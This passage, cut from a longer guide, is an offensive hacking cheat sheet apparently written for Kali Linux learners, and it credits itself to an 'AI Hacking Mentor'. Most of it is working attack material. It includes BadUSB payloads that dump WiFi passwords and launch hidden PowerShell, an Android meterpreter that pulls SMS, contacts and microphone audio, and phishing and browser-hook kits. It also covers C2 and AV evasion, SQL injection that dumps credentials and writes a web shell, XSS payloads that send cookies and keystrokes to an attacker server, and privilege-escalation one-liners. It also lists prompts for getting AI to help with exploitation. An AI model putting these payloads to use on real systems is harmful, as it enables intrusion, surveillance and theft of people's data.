STRING cmd /c "for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr Profile')...
ENTER
```

DigiSpark BadUSB (\$3 Arduino Alternative)

```
#include "DigiKeyboard.h"
void setup() {
    DigiKeyboard.sendKeyStroke(0);
    DigiKeyboard.delay(1000);
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    DigiKeyboard.delay(500);
    DigiKeyboard.print("powershell -ep bypass -w hidden -c \"IEX(...)\\\"");
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {}
```

Flipper Zero

```
Can do: RFID/NFC cloning, IR replay, Sub-GHz radio,
        BadUSB mode, GPIO hardware hacking
Buy: ~$170 online
Learn: https://docs.flipper.net/
```

CATEGORY 9: MOBILE HACKING

ADB ? Android Debug Bridge

adb devices	# list devices
adb shell	# open shell
adb pull /sdcard/DCIM/	# download photos
adb pull /sdcard/WhatsApp/	# WhatsApp data
adb install malicious.apk	# install app
adb shell screencap /sdcard/ss.png	# screenshot
adb shell screenrecord /sdcard/vid.mp4	# record screen
adb shell pm list packages	# list apps
adb backup -all -f backup.ab	# backup everything

Android Payload

```
# Generate
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o evil.apk

# Listener
msfconsole -q
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST YOUR_IP
exploit

# Once connected:
dump_contacts           # ALL contacts
dump_sms                # ALL messages
dump_callog             # call history
geolocate               # GPS location
webcam_snap             # take photo
record_mic -d 60        # record mic
```

MobSF ? Mobile Security Framework

```
sudo docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Open http://localhost:8000 -> Upload APK -> Auto analysis!
```

CATEGORY 10: SOCIAL ENGINEERING

SET ? Social Engineering Toolkit

```
sudo setoolkit
# 1 -> Social Engineering Attacks
# 2 -> Website Attack Vectors
# 3 -> Credential Harvester
# 2 -> Site Cloner
# Enter YOUR IP -> Enter URL to clone
```

Zphisher ? Automated Phishing

```
git clone https://github.com/htr-tech/zphisher.git
cd zphisher && bash zphisher.sh
# 30+ templates: Instagram, Facebook, Google, etc.
```

Gophish ? Professional Phishing

```
# Download from https://getgophish.com/
./gophish
# Access https://localhost:3333
# Create campaigns, track clicks, capture creds
```

BeEF ? Browser Exploitation

```
sudo beef-xss
# Access http://127.0.0.1:3000/ui/panel
# Hook: <script src="http://YOUR_IP:3000/hook.js"></script>
# Control victim's browser: redirect, keylog, screenshots
```

CATEGORY 11: C2 & ADVANCED

Sliver ? Modern C2

```
curl https://sliver.sh/install | sudo bash
sudo sliver-server
> generate --mtls YOUR_IP --save /tmp/implant
> mtls --lhost YOUR_IP --lport 443
> sessions
```

Veil ? AV Evasion

```
sudo apt install -y veil
veil
# Use Evasion -> Select payload -> Generate
```

Shellter ? PE Infector

```
sudo apt install -y shellter
shellter
# Inject payload into legitimate EXE
```

CATEGORY 12: UTILITY TOOLS

File Transfer Methods

```
# Python HTTP server
python3 -m http.server 8000

# Download
wget http://ATTACKER:8000/file
curl http://ATTACKER:8000/file -o file

# Netcat
nc -lvp 9999 > file      # receiver
nc TARGET 9999 < file    # sender

# SCP
scp file user@target:/path/
```

SSH Tunneling

```
ssh -L 8080:internal:80 user@target      # local forward
ssh -R 8080:localhost:80 user@target    # remote forward
ssh -D 9050 user@target                  # SOCKS proxy
```

Proxychains

```
# Edit /etc/proxychains4.conf -> add your proxy
proxychains nmap TARGET
proxychains firefox
```

CyberChef (Online)

```
https://gchq.github.io/CyberChef/
Encode/decode: Base64, URL, Hex, ROT13, etc.
```

RevShells (Online)

```
https://www.revshells.com/
Generate any reverse shell one-liner!
```


CHAPTER 6: SQL INJECTION ? COMPLETE GUIDE

Detection

```
'                                     # single quote error
" OR ""="                             # always true
' OR '1'='1                           # login bypass
' AND 1=1-- -                          # true condition
' AND 1=2-- -                          # false -> different response = SQLi!
```

UNION-Based Extraction (Step by Step)

```
-- 1. Find column count
' ORDER BY 1-- - [OK]
' ORDER BY 2-- - [OK]
' ORDER BY 3-- - [OK]
' ORDER BY 4-- - [X] Error -> 3 columns!

-- 2. Find displayable columns
' UNION SELECT 1,2,3-- -

-- 3. Database info
' UNION SELECT 1,version(),database()-- -

-- 4. List all databases
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -

-- 5. List tables
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=dat...

-- 6. List columns
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='us...

-- 7. DUMP DATA!
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users-- -

-- Read server files!
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -

-- Write web shell!
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -
```


CHAPTER 7: XSS PAYLOADS

```
<!-- Basic -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<!-- Cookie stealing -->
<script>fetch('https://YOUR_SERVER/steal?c='+document.cookie)</script>

<!-- Keylogger -->
<script>
document.addEventListener('keypress', function(e) {
  fetch('https://YOUR_SERVER/log?k='+e.key);
});
</script>

<!-- WAF Bypass -->
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<img src=x onerror=eval(atob('YwxicnQoMSk='))>
```


CHAPTER 8: PRIVILEGE ESCALATION CHEATSHEET

Linux

```
# ALWAYS CHECK FIRST:
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
getcap -r / 2>/dev/null
uname -r

# Sudo abuse (GTF0Bins):
sudo vim -c '!bash'
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo find . -exec /bin/bash \; -quit
sudo awk 'BEGIN {system("/bin/bash")}'
sudo less /etc/passwd -> !bash

# Kernel exploits:
# PwnKit (CVE-2021-4034) ? works on most Linux!
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit && ./PwnKit
```

Windows

```
whoami /priv          # check privileges
whoami /groups        # check groups
systeminfo           # OS info + patches

# If SeImpersonatePrivilege:
.\PrintSpoofer.exe -i -c cmd          # instant SYSTEM!
.\GodPotato.exe -cmd "cmd /c whoami"

# Pass the Hash:
impacket-psexec admin@TARGET -hashes :HASH
evil-winrm -i TARGET -u admin -H HASH
```


CHAPTER 9: AI FOR HACKING

Using ChatGPT/Claude for Hacking

USEFUL PROMPTS:

1. "What vulnerabilities exist in Apache 2.4.49? Give CVEs and exploitation steps."
2. "Write a Python script that checks a list of URLs for open redirect vulnerabilities."
3. "Generate 20 XSS payloads that bypass Cloudflare WAF."
4. "Analyze these Nmap results and suggest attack vectors: [paste results]"
5. "Write a professional pentest report for an SQL injection found at /api/login."
6. "Review this PHP code for OWASP Top 10 vulnerabilities: [paste code]"
7. "Explain CVE-XXXX-XXXX step by step with exploitation guide."
8. "Write a Nuclei template to detect exposed .env files."

Run AI Locally (Private!)

```
# Install Ollama on Mac
# https://ollama.com/download

ollama run llama3          # Meta's Llama 3
ollama run codellama       # Code-focused model

# Local AI = no data sent to cloud!
# Perfect for analyzing sensitive pentest data
```


CHAPTER 10: BUG BOUNTY & CAREER

Bug Bounty Platforms

Platform	URL
HackerOne	https://hackerone.com
Bugcrowd	https://bugcrowd.com
Intigriti	https://intigriti.com
Open Bug Bounty	https://openbugbounty.org

Average Payouts

Severity	Payout
Critical (RCE)	\$5,000 - \$100,000+
High (SQLi, IDOR)	\$1,000 - \$10,000
Medium (XSS)	\$250 - \$2,000
Low (Info Disclosure)	\$50 - \$500

Certification Path

1. eJPT (\$249) ? Best beginner cert
2. CompTIA Security+ (\$392) ? Industry standard
3. PNPT (\$399) ? Practical, affordable
4. OSCP (\$1,649) ? Gold standard

Career Salaries (India)

Role	Salary
Junior Pentester	5-10 LPA
Security Engineer	12-25 LPA
Senior Pentester	20-40 LPA
Bug Bounty Hunter	10-50+ LPA
CISO	40-1Cr+ LPA

CHAPTER 11: VIDEO RESOURCES

Must-Watch Courses (FREE)

1. TCM Security ? Practical Ethical Hacking (15h)
<https://www.youtube.com/watch?v=3FNYvj2U0HM>
2. freeCodeCamp ? Full Ethical Hacking (15h)
<https://www.youtube.com/watch?v=3Kq1MIfTWCE>
3. freeCodeCamp ? Kali Linux Tutorial (4h)
https://www.youtube.com/watch?v=IZAoFs75_cs
4. freeCodeCamp ? Networking (9h)
<https://www.youtube.com/watch?v=qiQR5rTSshw>

YouTube Channels

Channel	Focus
NetworkChuck	Fun hacking tutorials
TCM Security	Practical pentesting
John Hammond	CTF walkthroughs
David Bombal	Networking + hacking
IppSec	HackTheBox walkthroughs
HackerSploit	Kali tools tutorials
Nahamsec	Bug bounty
LiveOverflow	Deep technical
PwnFunction	Animated vulnerability explanations

Online Platforms (FREE)

Platform	URL	Best For
TryHackMe	https://tryhackme.com	Beginners
HackTheBox	https://hackthebox.com	Intermediate
PortSwigger Academy	https://portswigger.net/web-security	Web hacking
PicoCTF	https://picoctf.org	CTF practice
OverTheWire	https://overthewire.org	Linux wargames

Reference Sites

Site	URL
GTFOBins	https://gtfobins.github.io/
LOLBAS	https://lolbas-project.github.io/
HackTricks	https://book.hacktricks.xyz/
PayloadsAllTheThings	https://github.com/swisskyrepo/PayloadsAllTheThings
RevShells	https://www.revshells.com/
CyberChef	https://gchq.github.io/CyberChef/
ExploitDB	https://www.exploit-db.com/

CHAPTER 12: MY MASTERY PLAN

If I Were Learning Kali Linux From Scratch

```
WEEK 1-2: FOUNDATION
+-- Day 1-3: Linux commands (practice 50+ commands daily)
+-- Day 4-5: Bash scripting (write 5 scripts)
+-- Day 6-7: Python basics (port scanner, web scraper)
+-- Day 8-10: Networking (TCP/IP, ports, Wireshark)
+-- Day 11-14: Nmap mastery (scan everything in lab)

WEEK 3-4: EXPLOITATION
+-- Day 15-17: Metasploit (exploit Metasploitable 2)
+-- Day 18-20: Web hacking (SQLi, XSS on DVWA)
+-- Day 21-23: Burp Suite + SQLMap mastery
+-- Day 24-26: Privilege escalation (Linux + Windows)
+-- Day 27-28: TryHackMe rooms (5-10 rooms)

WEEK 5-6: ADVANCED
+-- Day 29-31: WiFi hacking (aircrack-ng suite)
+-- Day 32-33: Password cracking (Hydra, John, Hashcat)
+-- Day 34-36: USB attacks (DuckyScript, DigiSpark)
+-- Day 37-38: Mobile hacking (Android + ADB)
+-- Day 39-40: Social engineering (SET, phishing)
+-- Day 41-42: HackTheBox machines

WEEK 7-8: MASTERY
+-- Day 43-45: C2 frameworks (Sliver)
+-- Day 46-47: AV evasion basics
+-- Day 48-49: Full pentest challenge
+-- Day 50-52: Bug bounty programs (start hunting!)
+-- Day 53-56: CTF competitions

ONGOING:
+-- 1 TryHackMe/HTB machine per week
+-- PortSwigger labs (complete all)
+-- Bug bounty hunting (daily)
+-- Write CTF writeups
+-- Get eJPT certified
```

Daily Routine

```
Morning (1 hour): Theory/videos
Afternoon (2 hours): Hands-on lab practice
Evening (1 hour): CTF challenges
Night (30 min): Notes + documentation
```

Golden Rules

1. NEVER skip the basics ? foundation is everything
2. Practice > Theory ? do more, read less
3. Document EVERYTHING ? notes, screenshots, commands
4. Join communities ? Discord, Reddit, Twitter
5. Teach others ? best way to learn
6. Stay legal ? ALWAYS get permission
7. Be patient ? mastery takes months, not days
8. Use AI as assistant ? not replacement for understanding
9. Build a portfolio ? writeups, GitHub, blog
10. Never stop learning ? security evolves daily

END OF GUIDE

Remember: With great power comes great responsibility.

Use your skills to PROTECT, not to HARM.

Be the white hat the world needs!

Generated by AI Hacking Mentor ? May 2026

For educational and authorized testing purposes only.